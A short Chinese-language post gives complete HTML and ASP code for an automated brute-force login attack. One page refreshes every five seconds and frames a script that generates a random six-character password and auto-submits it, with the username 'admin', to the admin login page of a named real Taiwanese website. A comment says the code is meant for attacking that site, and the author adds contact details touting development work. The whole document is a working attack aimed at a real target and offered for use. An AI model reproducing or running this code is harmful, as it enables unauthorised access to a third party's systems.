攻击|设计
运行test.htm后进行密码登陆测试~！
-------------------------test.htm代码如下：
<HTML>
<HEAD>
<TITLE></TITLE>
<meta HTTP-EQUIV="refresh" CONTENT="5">
</HEAD>
<BODY>
<iframe src="test.asp" width=859 height=406 name="top" frameborder=0 marginwidth="1"
marginheight="1" border="0" scrolling="no"></iframe>
</body>
</html>
--------------------------test.asp代码如下：
<%
'本代码只供攻击该台湾网站使用，请不要在国内站点进行测试
'没进行随机代码重复限制
'承接网络项目开发，业务联系QQ：61795
'MSN:bigbird998@hotmail.com
Function RoundStr(StrLng)
TmpStr = "0123456789abcdefghijklmnopqrstopwxyz"
'TmpStr = "0123456789"
for jjj = 1 to StrLng
Randomize
strLen = Len(TmpStr)
t = Round((RND * (strLen-1))+1)
s = s & mid(TmpStr,t,1)
Next
RoundStr = s
End Function
a=RoundStr(6)
%>
<HTML>
<HEAD>
<TITLE></TITLE>
<META HTTP-EQUIV="expires" CONTENT="0">
</HEAD>
<BODY topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">
<form method="POST" action="http://www.tsu.org.tw/admin/login.php" name="form1">
<font size=2><b>名称：</b></font>
<INPUT NAME="Username" VALUE="admin" maxlength=256 size=25><font size=2><b> <font size=2><b>口令：</b></font>
<INPUT NAME="Password" VALUE="<%=a%>" TYPE=text maxlength=256 size=25>
<INPUT TYPE=submit VALUE="登 录"></FORM>
<p>当前测试的密码为：<font style=font:100pt><b><%=a%></b></font></p>
</BODY>
</HTML>
<script language="javascript">
<!--
this.document.forms[0].submit()
//-->
</script>